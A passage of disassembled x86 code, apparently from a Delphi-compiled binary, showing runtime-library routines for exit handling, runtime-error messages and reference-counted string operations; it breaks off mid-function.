sub_40004518	proc near		; CODE XREF: sub_40004518+4Ep
					; sub_4000457C+52p ...
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	eax, ds:off_4001E7D0
		test	eax, eax
		jz	short loc_40004575
		mov	ebx, ds:dword_4001E7D4
		mov	edi, [eax+4]
		xor	eax, eax
		push	ebp
		push	offset loc_40004561
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		test	ebx, ebx
		jle	short loc_40004557


loc_40004542:				; CODE XREF: sub_40004518+3Dj
		dec	ebx
		mov	ds:dword_4001E7D4, ebx
		mov	esi, [edi+ebx*8+4]
		test	esi, esi
		jz	short loc_40004553
		call	esi


loc_40004553:				; CODE XREF: sub_40004518+37j
		test	ebx, ebx
		jg	short loc_40004542


loc_40004557:				; CODE XREF: sub_40004518+28j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_40004575
; ---------------------------------------------------------------------------


loc_40004561:				; DATA XREF: sub_40004518+1Bo
		jmp	sub_400040D8
; ---------------------------------------------------------------------------
		call	sub_40004518
		call	sub_4000430C
		call	sub_40004360


loc_40004575:				; CODE XREF: sub_40004518+Dj
					; sub_40004518+47j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40004518	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000457C	proc near		; CODE XREF: sub_400045E4+3Ap

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, ds:off_4001E7D0
		test	eax, eax
		jz	short loc_400045DD
		mov	edi, [eax]
		xor	ebx, ebx
		mov	eax, [eax+4]
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_400045C9
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	edi, ebx
		jle	short loc_400045BF


loc_400045A8:				; CODE XREF: sub_4000457C+41j
		mov	eax, [ebp+var_4]
		mov	esi, [eax+ebx*8]
		inc	ebx
		mov	ds:dword_4001E7D4, ebx
		test	esi, esi
		jz	short loc_400045BB
		call	esi


loc_400045BB:				; CODE XREF: sub_4000457C+3Bj
		cmp	edi, ebx
		jg	short loc_400045A8


loc_400045BF:				; CODE XREF: sub_4000457C+2Aj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_400045DD
; ---------------------------------------------------------------------------


loc_400045C9:				; DATA XREF: sub_4000457C+1Do
		jmp	sub_400040D8
; ---------------------------------------------------------------------------
		call	sub_40004518
		call	sub_4000430C
		call	sub_40004360


loc_400045DD:				; CODE XREF: sub_4000457C+Ej
					; sub_4000457C+4Bj
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_4000457C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400045E4	proc near		; CODE XREF: sub_40006474+3Ap
		mov	ds:off_4001C014, offset	sub_40001168
		mov	ds:off_4001C018, offset	sub_40001178
		mov	ds:off_4001E7D0, eax
		xor	eax, eax
		mov	ds:dword_4001E7D4, eax
		mov	ds:off_4001E7D8, edx
		mov	eax, [edx+4]
		mov	ds:dword_4001C030, eax
		call	sub_400044D0
		mov	ds:byte_4001C038, 0
		call	sub_4000457C
		retn
sub_400045E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40004624	proc near		; CODE XREF: sub_400190AC+1Fp
		push	ebx
		xor	ebx, ebx
		push	edi
		push	esi
		mov	edi, [eax+ebx]
		lea	esi, [eax+ebx+4]


loc_40004630:				; CODE XREF: sub_40004624+1Fj
		mov	eax, [esi+4]
		mov	edx, [esi]
		mov	eax, [eax+ebx]
		add	edx, ebx
		call	sub_400062F0
		add	esi, 8
		dec	edi
		jnz	short loc_40004630
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_40004624	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000464C	proc near		; CODE XREF: sub_400190AC+29p
		push	ebx
		xor	ebx, ebx
		push	edi
		push	esi
		mov	edi, [eax+ebx]
		lea	esi, [eax+ebx+4]


loc_40004658:				; CODE XREF: sub_4000464C+1Ej
		mov	eax, [esi+4]
		mov	edx, [esi]
		mov	eax, [eax+ebx]
		add	eax, [esi+8]
		mov	[edx+ebx], eax
		add	esi, 0Ch
		dec	edi
		jnz	short loc_40004658
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_4000464C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40004670	proc near		; CODE XREF: sub_40004790+31p
		push	ebx
		push	esi
		push	edi
		mov	edi, offset aRuntimeErrorAt ; "Runtime error	 at 00000000"
		mov	bl, 10h
		mov	esi, dword_4001A000


loc_40004680:				; CODE XREF: sub_40004670+32j
		mov	eax, esi
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		add	dl, 30h
		movzx	eax, bl
		mov	[edi+eax], dl
		mov	ecx, 0Ah
		mov	eax, esi
		cdq
		idiv	ecx
		mov	esi, eax
		dec	ebx
		test	esi, esi
		jnz	short loc_40004680
		mov	bl, 1Ch
		mov	esi, dword_4001A004


loc_400046AC:				; CODE XREF: sub_40004670+5Ej
		mov	eax, esi
		and	eax, 0Fh
		movzx	eax, byte_4001A7A0[eax]
		movzx	edx, bl
		mov	[edi+edx], al
		mov	ecx, 10h
		mov	eax, esi
		xor	edx, edx
		div	ecx
		mov	esi, eax
		dec	ebx
		test	esi, esi
		jnz	short loc_400046AC
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40004670	endp


; =============== S U B	R O U T	I N E =======================================



sub_400046D4	proc near		; CODE XREF: sub_40004790+A1p
		xor	eax, eax
		xchg	eax, dword_4001A000
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edi, offset dword_4001E7C8
		mov	ebx, [edi+18h]
		mov	ebp, [edi+14h]
		push	dword ptr [edi+1Ch]
		push	dword ptr [edi+20h]
		mov	esi, [edi]
		mov	ecx, 0Bh
		rep movsd
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_400046D4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40004704	proc near		; CODE XREF: sub_40004790+36p

var_4		= byte ptr -4

		push	ecx
		cmp	ds:byte_4001C04C, 0
		jz	short loc_40004765
		cmp	ds:word_4001C220, 0D7B2h
		jnz	short loc_4000472D
		cmp	ds:dword_4001C228, 0
		jbe	short loc_4000472D
		mov	eax, offset dword_4001C21C
		call	ds:dword_4001C238


loc_4000472D:				; CODE XREF: sub_40004704+13j
					; sub_40004704+1Cj
		push	0
		lea	eax, [esp+8+var_4]
		push	eax
		push	1Eh
		push	offset aRuntimeErrorAt ; "Runtime error	    at 00000000"
		push	0FFFFFFF5h
		call	sub_40001160	; GetStdHandle
		push	eax
		call	sub_40001198	; WriteFile
		push	0
		lea	eax, [esp+8+var_4]
		push	eax
		push	2
		push	offset dword_4000478C
		push	0FFFFFFF5h
		call	sub_40001160	; GetStdHandle
		push	eax
		call	sub_40001198	; WriteFile
		pop	edx
		retn
; ---------------------------------------------------------------------------


loc_40004765:				; CODE XREF: sub_40004704+8j
		cmp	byte_4001A030, 0
		jnz	short loc_40004781
		push	0
		push	offset aError	; "Error"
		push	offset aRuntimeErrorAt ; "Runtime error	    at 00000000"
		push	0
		call	sub_400011B0	; MessageBoxA


loc_40004781:				; CODE XREF: sub_40004704+68j
		pop	edx
		retn
sub_40004704	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 2
dword_4000478C	dd 0A0Dh	
; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40004790	proc near		; CODE XREF: sub_4000486C+5p
					; .itext:40019ADDp
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, offset dword_4001E7C8
		mov	edi, offset dword_4001C048
		cmp	byte ptr [ebx+28h], 0
		jnz	short loc_400047B8
		cmp	dword ptr [edi], 0
		jz	short loc_400047B8


loc_400047A9:				; CODE XREF: sub_40004790+26j
		mov	eax, [edi]
		mov	esi, eax
		xor	eax, eax
		mov	[edi], eax
		call	esi
		cmp	dword ptr [edi], 0
		jnz	short loc_400047A9


loc_400047B8:				; CODE XREF: sub_40004790+12j
					; sub_40004790+17j
		cmp	dword_4001A004,	0
		jz	short loc_400047D2
		call	sub_40004670
		call	sub_40004704
		xor	eax, eax
		mov	dword_4001A004,	eax


loc_400047D2:				; CODE XREF: sub_40004790+2Fj
					; sub_40004790+D2j
		cmp	byte ptr [ebx+28h], 2
		jnz	short loc_400047E6
		cmp	dword_4001A000,	0
		jnz	short loc_400047E6
		xor	eax, eax
		mov	[ebx+0Ch], eax


loc_400047E6:				; CODE XREF: sub_40004790+46j
					; sub_40004790+4Fj
		call	sub_40004518
		cmp	byte ptr [ebx+28h], 1
		jbe	short loc_400047FA
		cmp	dword_4001A000,	0
		jz	short loc_4000481D


loc_400047FA:				; CODE XREF: sub_40004790+5Fj
		mov	edi, [ebx+10h]
		test	edi, edi
		jz	short loc_4000481D
		mov	eax, edi
		call	sub_40006194
		mov	ebp, [ebx+10h]
		mov	esi, [ebp+10h]
		cmp	esi, [ebp+4]
		jz	short loc_4000481D
		test	esi, esi
		jz	short loc_4000481D
		push	esi
		call	sub_400011C8	; FreeLibrary


loc_4000481D:				; CODE XREF: sub_40004790+68j
					; sub_40004790+6Fj ...
		call	sub_400044F0
		cmp	byte ptr [ebx+28h], 1
		jnz	short loc_4000482B
		call	dword ptr [ebx+24h]


loc_4000482B:				; CODE XREF: sub_40004790+96j
		cmp	byte ptr [ebx+28h], 0
		jz	short loc_40004836
		call	sub_400046D4


loc_40004836:				; CODE XREF: sub_40004790+9Fj
		cmp	dword ptr [ebx], 0
		jnz	short loc_40004855
		cmp	ds:dword_4001C028, 0
		jz	short loc_4000484A
		call	ds:dword_4001C028


loc_4000484A:				; CODE XREF: sub_40004790+B2j
		mov	eax, dword_4001A000
		push	eax
		call	sub_400011A8	; ExitProcess


loc_40004855:				; CODE XREF: sub_40004790+A9j
		mov	eax, [ebx]
		mov	esi, eax
		mov	edi, ebx
		mov	ecx, 0Bh
		rep movsd
		jmp	loc_400047D2
sub_40004790	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4000486C	proc near		; CODE XREF: sub_40002CF8+6p
					; sub_40004878+6j ...
		mov	dword_4001A000,	eax
		call	sub_40004790
sub_4000486C	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40004878	proc near		; CODE XREF: sub_400030B4+14j
					; sub_400042E4+9p ...
		pop	dword_4001A004
		jmp	sub_4000486C
sub_40004878	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40004884	proc near		; CODE XREF: sub_40002FF8+Fp
					; sub_40004974+23p ...
		mov	edx, [eax]
		test	edx, edx
		jz	short locret_400048A6
		mov	dword ptr [eax], 0
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_400048A6
		lock dec dword ptr [edx-8]
		jnz	short locret_400048A6
		push	eax
		lea	eax, [edx-8]
		call	sub_40002C3C
		pop	eax

locret_400048A6:			; CODE XREF: sub_40004884+4j
					; sub_40004884+10j ...
		retn
sub_40004884	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400048A8	proc near		; CODE XREF: sub_40005314+56p
					; sub_40006A2C+7Ap ...
		push	ebx
		push	esi
		mov	ebx, eax
		mov	esi, edx


loc_400048AE:				; CODE XREF: sub_400048A8+2Aj
		mov	edx, [ebx]
		test	edx, edx
		jz	short loc_400048CE
		mov	dword ptr [ebx], 0
		mov	ecx, [edx-8]
		dec	ecx
		jl	short loc_400048CE
		lock dec dword ptr [edx-8]
		jnz	short loc_400048CE
		lea	eax, [edx-8]
		call	sub_40002C3C


loc_400048CE:				; CODE XREF: sub_400048A8+Aj
					; sub_400048A8+16j ...
		add	ebx, 4
		dec	esi
		jnz	short loc_400048AE
		pop	esi
		pop	ebx
		retn
sub_400048A8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400048D8	proc near		; CODE XREF: sub_40004B50+8j
					; sub_40004B94+6j ...
		test	edx, edx
		jz	short loc_40004900
		mov	ecx, [edx-8]
		inc	ecx
		jg	short loc_400048FC
		push	eax
		push	edx
		mov	eax, [edx-4]
		call	sub_40004948
		mov	edx, eax
		pop	eax
		push	edx
		mov	ecx, [eax-4]
		call	sub_40002DFC
		pop	edx
		pop	eax
		jmp	short loc_40004900
; ---------------------------------------------------------------------------


loc_400048FC:				; CODE XREF: sub_400048D8+8j
		lock inc dword ptr [edx-8]


loc_40004900:				; CODE XREF: sub_400048D8+2j
					; sub_400048D8+22j
		xchg	edx, [eax]
		test	edx, edx
		jz	short locret_4000491A
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_4000491A
		lock dec dword ptr [edx-8]
		jnz	short locret_4000491A
		lea	eax, [edx-8]
		call	sub_40002C3C

locret_4000491A:			; CODE XREF: sub_400048D8+2Cj
					; sub_400048D8+32j ...
		retn
sub_400048D8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000491C	proc near		; CODE XREF: sub_40009414+58p
					; sub_40009590+57p ...
		test	edx, edx
		jz	short loc_4000492A
		mov	ecx, [edx-8]
		inc	ecx
		jle	short loc_4000492A
		lock inc dword ptr [edx-8]


loc_4000492A:				; CODE XREF: sub_4000491C+2j
					; sub_4000491C+8j
		xchg	edx, [eax]
		test	edx, edx
		jz	short locret_40004944
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_40004944
		lock dec dword ptr [edx-8]
		jnz	short locret_40004944
		lea	eax, [edx-8]
		call	sub_40002C3C

locret_40004944:			; CODE XREF: sub_4000491C+12j
					; sub_4000491C+18j ...
		retn
sub_4000491C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40004948	proc near		; CODE XREF: sub_400048D8+Fp
					; sub_40004974+Bp ...
		test	eax, eax
		jle	short loc_40004970
		push	eax
		add	eax, 0Ah
		and	eax, 0FFFFFFFEh
		push	eax
		call	sub_40002C20
		pop	edx
		mov	word ptr [edx+eax-2], 0
		add	eax, 8
		pop	edx
		mov	[eax-4], edx
		mov	dword ptr [eax-8], 1
		retn
; ---------------------------------------------------------------------------


loc_40004970:				; CODE XREF: sub_40004948+2j
		xor	eax, eax
		retn
sub_40004948	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40004974	proc near		; CODE XREF: sub_40002FF8+2Fp
					; sub_400049E0+4Ep ...
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		mov	eax, edi
		call	sub_40004948
		mov	ecx, edi
		mov	edi, eax
		test	esi, esi
		jz	short loc_40004995
		mov	edx, eax
		mov	eax, esi
		call	sub_40002DFC


loc_40004995:				; CODE XREF: sub_40004974+16j
		mov	eax, ebx
		call	sub_40004884
		mov	[ebx], edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40004974	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400049A4	proc near		; CODE XREF: sub_400049E0+3Bp
					; sub_400049E0+6Bp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	edx
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		push	ecx
		push	0
		mov	eax, ds:dword_4001C5BC
		push	eax
		call	sub_40001250	; WideCharToMultiByte
		pop	ebp
		retn	4
sub_400049A4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400049C4	proc near		; CODE XREF: sub_4000506C+3Bp
					; sub_4000506C+69p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edx
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		push	ecx
		push	0
		mov	eax, ds:dword_4001C5BC
		push	eax
		call	sub_40001230	; MultiByteToWideChar
		pop	ebp
		retn	4
sub_400049C4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_400049E0	proc near		; CODE XREF: sub_40004AAC:loc_40004ADFj
					; sub_40004B0C:loc_40004B17j ...

var_1014	= dword	ptr -1014h
var_1010	= byte ptr -1010h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFF004h
		push	eax
		add	esp, 0FFFFFFFCh
		mov	esi, ecx
		mov	[esp+1014h+var_1014], edx
		mov	edi, eax
		test	esi, esi
		jg	short loc_40004A02
		mov	eax, edi
		call	sub_40004884
		jmp	short loc_40004A61
; ---------------------------------------------------------------------------


loc_40004A02:				; CODE XREF: sub_400049E0+17j
		lea	ebp, [esi+1]
		cmp	ebp, 7FFh
		jge	short loc_40004A35
		push	esi
		lea	eax, [esp+1018h+var_1010]
		mov	ecx, [esp+1018h+var_1014]
		mov	edx, 0FFFh
		call	sub_400049A4
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_40004A35
		lea	edx, [esp+1014h+var_1010]
		mov	eax, edi
		mov	ecx, ebx
		call	sub_40004974
		jmp	short loc_40004A61
; ---------------------------------------------------------------------------


loc_40004A35:				; CODE XREF: sub_400049E0+2Bj
					; sub_400049E0+44j
		mov	ebx, ebp
		add	ebx, ebx
		mov	eax, edi
		mov	edx, ebx
		call	sub_40004F74
		push	esi
		mov	eax, [edi]
		mov	ecx, [esp+1018h+var_1014]
		mov	edx, ebx
		call	sub_400049A4
		mov	ebx, eax
		test	ebx, ebx
		jge	short loc_40004A58
		xor	ebx, ebx


loc_40004A58:				; CODE XREF: sub_400049E0+74j
		mov	eax, edi
		mov	edx, ebx
		call	sub_40004F74


loc_40004A61:				; CODE XREF: sub_400049E0+20j
					; sub_400049E0+53j
		add	esp, 1004h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_400049E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40004A6C	proc near		; CODE XREF: sub_4000ABA4+8Fp
					; sub_4000ABA4+196p ...
		push	edx
		mov	edx, esp
		mov	ecx, 1
		call	sub_40004974
		pop	edx
		retn
sub_40004A6C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40004A7C	proc near		; CODE XREF: sub_400062F0+49p
					; sub_40009414+121p ...
		xor	ecx, ecx
		test	edx, edx
		jz	short loc_40004AA3
		push	edx


loc_40004A83:				; CODE XREF: sub_40004A7C+1Dj
		cmp	cl, [edx]
		jz	short loc_40004A9E
		cmp	cl, [edx+1]
		jz	short loc_40004A9D
		cmp	cl, [edx+2]
		jz	short loc_40004A9C
		cmp	cl, [edx+3]
		jz	short loc_40004A9B
		add	edx, 4
		jmp	short loc_40004A83
; ---------------------------------------------------------------------------


loc_40004A9B:				; CODE XREF: sub_40004A7C+18j
		inc	edx


loc_40004A9C:				; CODE XREF: sub_40004A7C+13j
		inc	edx


loc_40004A9D:				; CODE XREF: sub_40004A7C+Ej
		inc	edx


loc_40004A9E:				; CODE XREF: sub_40004A7C+9j
		mov	ecx, edx
		pop	edx
		sub	ecx, edx


loc_40004AA3:				; CODE XREF: sub_40004A7C+4j
		jmp	sub_40004974
sub_40004A7C	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40004AAC	proc near		; CODE XREF: sub_400116DC+3DAp
					; DATA XREF: sub_4000843E:loc_40008570o
		xor	ecx, ecx
		test	edx, edx
		jz	short loc_40004ADF
		push	edx


loc_40004AB3:				; CODE XREF: sub_40004AAC+21j
		cmp	cx, [edx]
		jz	short loc_40004AD8
		cmp	cx, [edx+2]
		jz	short loc_40004AD5
		cmp	cx, [edx+4]
		jz	short loc_40004AD2
		cmp	cx, [edx+6]
		jz	short loc_40004ACF
		add	edx, 8
		jmp	short loc_40004AB3
; ---------------------------------------------------------------------------


loc_40004ACF:				; CODE XREF: sub_40004AAC+1Cj
		add	edx, 2


loc_40004AD2:				; CODE XREF: sub_40004AAC+16j
		add	edx, 2


loc_40004AD5:				; CODE XREF: sub_40004AAC+10j
		add	edx, 2


loc_40004AD8:				; CODE XREF: sub_40004AAC+Aj
		mov	ecx, edx
		pop	edx
		sub	ecx, edx
		shr	ecx, 1


loc_40004ADF:				; CODE XREF: sub_40004AAC+4j
		jmp	sub_400049E0
sub_40004AAC	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40004AE8	proc near		; CODE XREF: sub_4001293C+B8p
					; sub_40013B54+3Cp ...
		xor	ecx, ecx
		mov	cl, [edx]
		inc	edx
		jmp	sub_40004974
sub_40004AE8	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40004AF4	proc near		; CODE XREF: sub_40009414+98p
					; sub_40009590+A2p ...
		push	edi
		push	eax
		push	ecx
		mov	edi, edx
		xor	eax, eax
		repne scasb
		jnz	short loc_40004B01
		not	ecx


loc_40004B01:				; CODE XREF: sub_40004AF4+9j
		pop	eax
		add	ecx, eax
		pop	eax
		pop	edi
		jmp	sub_40004974
sub_40004AF4	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40004B0C	proc near		; CODE XREF: sub_4000CE4C+2Ap
					; sub_4000CEB8+2Ap ...
		xor	ecx, ecx
		test	edx, edx
		jz	short loc_40004B17
		mov	ecx, [edx-4]
		shr	ecx, 1


loc_40004B17:				; CODE XREF: sub_40004B0C+4j
		jmp	sub_400049E0
sub_40004B0C	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40004B20	proc near		; CODE XREF: .text:40015A32p
		push	ebx
		test	edx, edx
		jz	short loc_40004B3D
		mov	ebx, [edx-4]
		test	ebx, ebx
		jz	short loc_40004B3D
		cmp	ecx, ebx
		jl	short loc_40004B32
		mov	ecx, ebx


loc_40004B32:				; CODE XREF: sub_40004B20+Ej
		mov	[eax], cl
		inc	eax
		xchg	eax, edx
		call	sub_40002DFC
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40004B3D:				; CODE XREF: sub_40004B20+3j
					; sub_40004B20+Aj
		mov	byte ptr [eax],	0
		pop	ebx
		retn
sub_40004B20	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40004B44	proc near		; CODE XREF: sub_40003328+3Ep
					; sub_40003328+56p ...
		test	eax, eax
		jz	short locret_40004B4D
		sub	eax, 4
		mov	eax, [eax]

locret_40004B4D:			; CODE XREF: sub_40004B44+2j
		retn
sub_40004B44	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40004B50	proc near		; CODE XREF: sub_40004B94+1Dj
					; sub_40004B94+6Ej ...
		test	edx, edx
		jz	short locret_40004B93
		mov	ecx, [eax]
		test	ecx, ecx
		jz	sub_400048D8
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, [ecx-4]
		mov	edx, [esi-4]
		add	edx, edi
		cmp	esi, ecx
		jz	short loc_40004B88
		call	sub_40004F74
		mov	eax, esi
		mov	ecx, [esi-4]


loc_40004B7B:				; CODE XREF: sub_40004B50+41j
		mov	edx, [ebx]
		add	edx, edi
		call	sub_40002DFC
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40004B88:				; CODE XREF: sub_40004B50+1Fj
		call	sub_40004F74
		mov	eax, [ebx]
		mov	ecx, edi
		jmp	short loc_40004B7B
; ---------------------------------------------------------------------------

locret_40004B93:			; CODE XREF: sub_40004B50+2j
		retn
sub_40004B50	endp


; =============== S U B	R O U T	I N E =======================================



sub_40004B94	proc near		; CODE XREF: sub_4001293C+E2p
					; sub_4001293C+F5p ...
		test	edx, edx
		jz	short loc_40004BF9
		test	ecx, ecx
		jz	sub_400048D8
		cmp	edx, [eax]
		jz	short loc_40004C00
		cmp	ecx, [eax]
		jz	short loc_40004BB6
		push	eax
		push	ecx
		call	sub_400048D8
		pop	edx
		pop	eax
		jmp	sub_40004B50
; ---------------------------------------------------------------------------


loc_40004BB6:				; CODE XREF: sub_40004B94+12j
		push	ebx
		push	esi
		push	edi
		mov	ebx, edx
		mov	esi, ecx
		push	eax
		mov	eax, [ebx-4]
		add	eax, [esi-4]
		call	sub_40004948
		mov	edi, eax
		mov	edx, eax
		mov	eax, ebx
		mov	ecx, [ebx-4]
		call	sub_40002DFC
		mov	edx, edi
		mov	eax, esi
		mov	ecx, [esi-4]
		add	edx, [ebx-4]
		call	sub_40002DFC
		pop	eax
		mov	edx, edi
		test	edi, edi
		jz	short loc_40004BF0
		dec	dword ptr [edi-8]


loc_40004BF0:				; CODE XREF: sub_40004B94+57j
		call	sub_400048D8
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40004BF9:				; CODE XREF: sub_40004B94+2j
		mov	edx, ecx
		jmp	sub_400048D8
; ---------------------------------------------------------------------------


loc_40004C00:				; CODE XREF: sub_40004B94+Ej
		mov	edx, ecx
		jmp	sub_40004B50
sub_40004B94	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40004C08	proc near		; CODE XREF: sub_4000BE64+27Bp
					; sub_4000BE64+298p ...

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	edx
		push	eax
		mov	ebx, edx
		xor	edi, edi
		mov	ecx, [esp+edx*4+14h]
		test	ecx, ecx
		jz	short loc_40004C25
		cmp	[eax], ecx
		jnz	short loc_40004C25
		mov	edi, ecx
		mov	eax, [ecx-4]
		dec	edx
		jmp	short loc_40004C27
; ---------------------------------------------------------------------------


loc_40004C25:				; CODE XREF: sub_40004C08+Fj
					; sub_40004C08+13j
		xor	eax, eax


loc_40004C27:				; CODE XREF: sub_40004C08+1Bj
					; sub_40004C08+31j
		mov	ecx, [esp+edx*4+14h]
		test	ecx, ecx
		jz	short loc_40004C38
		add	eax, [ecx-4]
		cmp	edi, ecx
		jnz	short loc_40004C38
		xor	edi, edi


loc_40004C38:				; CODE XREF: sub_40004C08+25j
					; sub_40004C08+2Cj
		dec	edx
		jnz	short loc_40004C27
		test	edi, edi
		jz	short loc_40004C56
		mov	edx, eax
		mov	eax, [esp+14h+var_14]
		mov	esi, [edi-4]
		call	sub_40004F74
		mov	edi, [esp+14h+var_14]
		push	dword ptr [edi]
		add	esi, [edi]
		dec	ebx
		jmp	short loc_40004C5E
; ---------------------------------------------------------------------------


loc_40004C56:				; CODE XREF: sub_40004C08+35j
		call	sub_40004948
		push	eax
		mov	esi, eax


loc_40004C5E:				; CODE XREF: sub_40004C08+4Cj
					; sub_40004C08+6Bj
		mov	eax, [esp+ebx*4+18h]
		mov	edx, esi
		test	eax, eax
		jz	short loc_40004C72
		mov	ecx, [eax-4]
		add	esi, ecx
		call	sub_40002DFC


loc_40004C72:				; CODE XREF: sub_40004C08+5Ej
		dec	ebx
		jnz	short loc_40004C5E
		pop	edx
		pop	eax
		test	edi, edi
		jnz	short loc_40004C87
		test	edx, edx
		jz	short loc_40004C82
		dec	dword ptr [edx-8]


loc_40004C82:				; CODE XREF: sub_40004C08+75j
		call	sub_400048D8


loc_40004C87:				; CODE XREF: sub_40004C08+71j
		pop	edx
		pop	edi
		pop	esi
		pop	ebx
		pop	eax
		lea	esp, [esp+edx*4]
		jmp	eax
sub_40004C08	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40004C94	proc near		; CODE XREF: sub_40017944+4Cp
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		cmp	eax, edx
		jz	loc_40004D32
		test	esi, esi
		jz	short loc_40004D0F
		test	edi, edi
		jz	short loc_40004D16
		mov	eax, [esi-4]
		mov	edx, [edi-4]
		sub	eax, edx
		ja	short loc_40004CB7
		add	edx, eax


loc_40004CB7:				; CODE XREF: sub_40004C94+1Fj
		push	edx
		shr	edx, 2
		jz	short loc_40004CE3


loc_40004CBD:				; CODE XREF: sub_40004C94+45j
		mov	ecx, [esi]
		mov	ebx, [edi]
		cmp	ecx, ebx
		jnz	short loc_40004D1D
		dec	edx
		jz	short loc_40004CDD
		mov	ecx, [esi+4]
		mov	ebx, [edi+4]
		cmp	ecx, ebx
		jnz	short loc_40004D1D
		add	esi, 8
		add	edi, 8
		dec	edx
		jnz	short loc_40004CBD
		jmp	short loc_40004CE3
; ---------------------------------------------------------------------------


loc_40004CDD:				; CODE XREF: sub_40004C94+32j
		add	esi, 4
		add	edi, 4


loc_40004CE3:				; CODE XREF: sub_40004C94+27j
					; sub_40004C94+47j
		pop	edx
		and	edx, 3
		jz	short loc_40004D0B
		mov	ecx, [esi]
		mov	ebx, [edi]
		cmp	cl, bl
		jnz	short loc_40004D32
		dec	edx
		jz	short loc_40004D0B
		cmp	ch, bh
		jnz	short loc_40004D32
		dec	edx
